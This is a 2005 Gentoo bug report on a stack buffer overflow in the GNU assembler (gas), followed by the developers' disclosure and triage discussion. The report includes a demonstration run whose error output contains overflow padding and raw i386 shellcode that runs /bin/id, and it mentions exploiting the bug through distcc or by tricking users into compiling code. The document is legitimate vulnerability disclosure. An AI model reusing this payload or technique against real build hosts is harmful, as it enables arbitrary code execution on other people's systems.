First Last Prev Next    No search results available      Search page      Enter new bug
Bug#: 99464
Alias:
Product:
Component:
Status: RESOLVED
Resolution: FIXED
Assigned To: Gentoo Toolchain Maintainers <toolchain@gentoo.org>
Hardware:
OS:
Version:
Priority:
Severity:
Reporter: Tavis Ormandy (RETIRED) <taviso@gentoo.org>
Add CC:
CC:
Remove selected CCs
URL:
Summary:
Status Whiteboard:
Keywords:

Filename Description Type Creator Created Size Actions
gas-poc.sh PoC text/plain Tavis Ormandy (RETIRED) 2005-07-18 14:34 0000 608 bytes Details
gas-messages-bof.diff patch patch Tavis Ormandy (RETIRED) 2005-07-18 14:34 0000 1.98 KB Details | Diff
Create a New Attachment (proposed patch, testcase, etc.) View All

Bug 99464 depends on: Show dependency tree
Bug 99464 blocks:
Votes: 0    Show votes for this bug    Vote for this bug

Additional Comments: (this is where you put emerge --info)


Not eligible to see or edit group visibility for this bug.






View Bug Activity   |   Format For Printing   |   XML   |   Clone This Bug


Description:   Opened: 2005-07-18 14:33 0000
stack buffer overflow in gas, perhaps exploitable via distcc or tricking users 
to compile/assemple code.

$ gas-poc.sh > foo.c
$ gcc foo.c
/tmp/cc4hRCFg.s: Assembler messages:
/tmp/cc4hRCFg.s:13: Error: no such instruction: 
`aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

------- Comment #1 From Tavis Ormandy (RETIRED) 2005-07-18 14:33:57 0000 -------
stack buffer overflow in gas, perhaps exploitable via distcc or tricking users 
to compile/assemple code.

$ gas-poc.sh > foo.c
$ gcc foo.c
/tmp/cc4hRCFg.s: Assembler messages:
/tmp/cc4hRCFg.s:13: Error: no such instruction: 
`aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÄêÿ¿1À°
f1Û1ÉÍë[1ÀCC
  °
   S
      Íèåÿÿÿ/bin/id'
uid=1000(taviso) gid=100(users) groups=5(tty),6(disk),10(wheel),16(cron),
19(cdrom),35(games),100(users),250(portage),407(mp3),408(mame)
/usr/lib/gcc-lib/i686-pc-linux-gnu/3.3.5-20050130/../../../crt1.o(.text+0x18): 
In function `_start':
../sysdeps/i386/elf/start.S:115: undefined reference to `main'
collect2: ld returned 1 exit status

PoC attached tested with sys-devel/binutils-2.15.92.0.2-r10, and patch that 
fixes this issue for me.

------- Comment #2 From Tavis Ormandy (RETIRED) 2005-07-18 14:34:20 0000 -------
Created an attachment (id=63735) [details]
PoC

------- Comment #3 From Tavis Ormandy (RETIRED) 2005-07-18 14:34:33 0000 -------
Created an attachment (id=63736) [details]
patch

------- Comment #4 From SpanKY 2005-07-18 21:30:12 0000 -------
how exactly are we to proceed with this ?  the patch def looks good, but should
is something going to contact vuln-sec or should i just post the patch to
binutils mailing list (at which point keeping this bug closed is pointless) ?

------- Comment #5 From Sune Kloppenborg Jeppesen 2005-07-18 22:08:36 0000 -------
The plan is like this:  
1. Tigger/SpanKY/Solar please confirm  
2. Taviso please mail vendor-sec 
3. Arch security liaisons test 
4. Coordinated disclosure 

------- Comment #6 From rob holland (RETIRED) 2005-07-19 01:51:50 0000 -------
confirmed as stack overflow.

as: stack smashing attack in function as_bad()

------- Comment #7 From SpanKY 2005-07-19 06:02:24 0000 -------
erm i dont think the binutils guys may be on the vendor sec list ?  i could
e-mail  a handful of the big devs ...

------- Comment #8 From Sune Kloppenborg Jeppesen 2005-07-19 06:29:58 0000 -------
Vapier please do. (2a. Contact upstream) 

------- Comment #9 From SpanKY 2005-07-20 15:24:30 0000 -------
the binutils project does not wish to handle any offerflow/etc... issues in a
private manner

e-mailed the upstream dev list and it should be in shortly

------- Comment #10 From Sune Kloppenborg Jeppesen 2005-07-20 22:17:30 0000 -------
Toolchain please provide an updated ebuild. 

------- Comment #11 From SpanKY 2005-07-21 14:56:42 0000 -------
well there are plenty of other overflows/sanity check patches which have been
added to binutils but i've opted to not add to our ebuild ...  as upstream
says, they'd rather not treat overflows in binutils as regular vulnerabilities,
so issuing a GLSA for this seems a bit overdown ...  also, they've accepted and
committed the patch Taviso posted

------- Comment #12 From Tavis Ormandy (RETIRED) 2005-07-21 23:19:15 0000 -------
Agreed, not GLSA worthy (you'ld have to trick someone into compiling your
source 
code, it doesnt seem too much of a leap to get them to execute it afterwards).

Do you think it's worth adding the patch to our package Spanky? 

------- Comment #13 From Sune Kloppenborg Jeppesen 2005-07-21 23:30:05 0000 -------
Rerating as B2. 

------- Comment #14 From SpanKY 2005-07-22 10:34:23 0000 -------
not really ... if i do this one, then i should go through all the other BFD
fixes that have been posted to the binutils mailing list in the last few months
since the 1.16.1 release ...

------- Comment #15 From Thierry Carrez (RETIRED) 2005-07-30 06:39:58 0000 -------
Even if we did some GLSAs in the past that required heavy social engineering
(read: dumb user) to work, I don't think we should continue on that trend. I
propose to downgrade this to simple bug status.

Security: please give your opinion.

------- Comment #16 From Sune Kloppenborg Jeppesen 2005-07-31 12:59:42 0000 -------
I agree. Reassigning to toolchain, keeping security on cc. 

------- Comment #17 From SpanKY 2005-09-26 17:11:26 0000 -------
should be all set now

First Last Prev Next    No search results available      Search page      Enter new bug